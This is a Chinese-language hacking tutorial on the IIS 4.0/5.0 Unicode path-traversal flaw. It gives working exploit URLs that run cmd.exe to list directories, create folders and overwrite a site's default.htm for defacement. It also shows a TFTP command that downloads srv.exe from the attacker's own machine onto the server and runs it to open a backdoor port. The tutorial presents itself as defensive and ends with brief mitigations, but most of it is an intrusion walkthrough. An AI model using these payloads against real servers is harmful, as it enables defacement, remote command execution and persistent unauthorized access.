Unicode漏洞,如今最热门的漏洞之一
Unicode是如今最热门的漏洞之一,也是比较简单易学的一个漏洞,比如去年5.1中美黑客大战中,使用的就是这个漏洞。如果我们能知道他们所采用的入侵手段,就可以进行有效的防御!今天就让我们一起来了解一下那些黑客是怎样利用该漏洞进行入侵的,目的是通过对这种黑客手段的了解,来找到防御方法。 一:什么是UNICODE漏洞
NSFOCUS安全小组发现IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。
对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如"%c1%hh" 或者"%c0%hh"它会首先将其解码变成:0xc10xhh, 然后尝试打开这个文件,Windows 系统认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果 0x00<= %hh < 0x40的话,采用的 解码的格式与下面的格式类似:
%c1%hh -> (0xc1 - 0xc0) * 0x40 + 0xhh
%c0%hh -> (0xc0 - 0xc0) * 0x40 + 0xhh
因此,利用这种编码,我们可以构造很多字符,例如:
%c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。 (1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容http://www.\
此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。
Win NT4 编码为:%c1%9c
Win2000 英文版 编码为:%c0%af
二.骇客是如何利用UNICODE漏洞来入侵
1.首先我们的来寻找一台存在UNICODE漏洞的主机,这里我们可以使用的工具非常多,只要是能扫CGI漏洞的都可以,不过我更喜欢流光,因为流光的功能是非常强大的。注意:我们这里是的目的是通过入侵方法来学会防范,所以以下我们使用的主机都是假设的。
2.小试UNICODE
现在我们打开自己的浏览器输http://127.0.0.1/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
将会返回如下所示:
Directory of C:\inetpub\scripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..
大家应该可以看出来,我的C:\inetpub\scripts下并没有什么文件,是不是想看看其他目录有什么呢?其实只要在最后输入cmd.exe?/c+dir+c:\就是看C盘,你也可以自己指定目录名,和DOS命令一样
我们还可以建立一个文件夹
如果我们换成http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+md+c:\example
运行后我们可以看到返回这样的结果:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
英文意思是:
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
不用管他的了,我们的文件夹实际上已经建立好了
我们还可以使用COPY拷贝文件到指定目录,使用attrib修改文件属性命令
熟悉了以上的命令的话,下面我们看看骇客是怎么破坏主页的
3.简单的修改主页方法:
一般情况下,骇客们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具“>” “>>”
下面我们先来介绍一下是怎么使用:
管道工具“>” “>>” 的功能
“>”“>>”是将命令产生的输出重新定向比如写到某个文件或输出到打印机中。
“>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。
但是IIS加载程序检测到有cmd.exe或者串就要检测特殊字符“&|(;%<>”如果发现有这些字符就会返回500错误,所以不能直接使用cmd.exe加管道符等。
但是我们可以这样操作:
http://127.0.0.1/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+内容+> 指定的文件(列如:c:\inetpub\wwwroot\default.htm这是看对方页面存放的具体地址了)
利用这样的方法我们可以建立.bat .txt .asp .htm .html 等文件,这对于一个存在这漏洞的网站可以说是致命的打击
看看这个列子:
http://127.0.0.1/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+你被来自云南的随缘剑客所黑+> c:\inetpub\wwwroot\default.htm
打开浏览器输http://127.0.0.1看看是什么?
你被来自云南的随缘剑客所黑(这只是给大家看的,我可没有干过这种事情哦)
呵呵,就那么简单,如果你想把他的页面替换成自己的页面的话,请看下面
3.结合TFTP工具上传文件
什么是 tftp ?
简单来说,tftp 就是让你的电脑变成一台服务器,让攻击主机来下载你的文件。
这样就可以达到上传的目的。
首先,运行 tftpd32.exe
在运行它之前,建议关闭其他FTP服务器,保持tftpd运行,这时你的机器已经是一个FTP服务器了。
然后,把你要上传的文件,复制到同一目录下。
回到你的浏览器,在地址栏里填入:
http://127.0.0.1/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp -i y.y.y.y GET srv.exe c:\\inetpub\\scripts\\fuck.exe
y.y.y.y为你自己的IP,注意:c:\\inetpub\\scripts\\srv.exe 其中c:\\inetpub\\scripts\\为主机服务器目录,要看主机的具体情况而定,fuck.exe为被改名的srv.exe
然后等待...大概3分钟...IE浏览器左下角显示完成,红色漏斗消失,这时srv.exe已经上传到主机c:\inetpub\scripts\目录了。
您可以自己检查一下。
执行srv.exe
http://127.0.0.1/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\srv.exe
SRV不用我在多介绍了吧,是一个在服务器上打开99端口的工具,我们可以TELNET上去
其实方法我已经交给大家了,我觉得没有必要写的太多,不需要把每一步入侵的过程都写出来,大家可以开
动脑筋想想,上传什么文件这也在于您,好了,就这样。
下面我们来看看解决这种入侵的方法:
建议:
简单解决方案:
1.限制网络用户访问和调用cmd的权限。
2.在Scripts、Msadc目录没必要使用的情况下,删除该文件夹或者改名。
3.安装NT系统时不要使用默认WINNT路径,比方说,可以改名为lucky或者其他名字。
临时解决方法:
NSFOCUS建议您再没有安装补丁之前,暂时采用下列方法临时解决问题:
1、如果不需要可执行的CGI,可以删除可执行虚拟目录例如 /scripts等等。
2、如果确实需要可执行的虚拟目录,建议可执行虚拟目录单独在一个分区
厂商补丁:
微软已经发布了一个安全公告MS00-78,您可以在下列地址看到更详细的内容: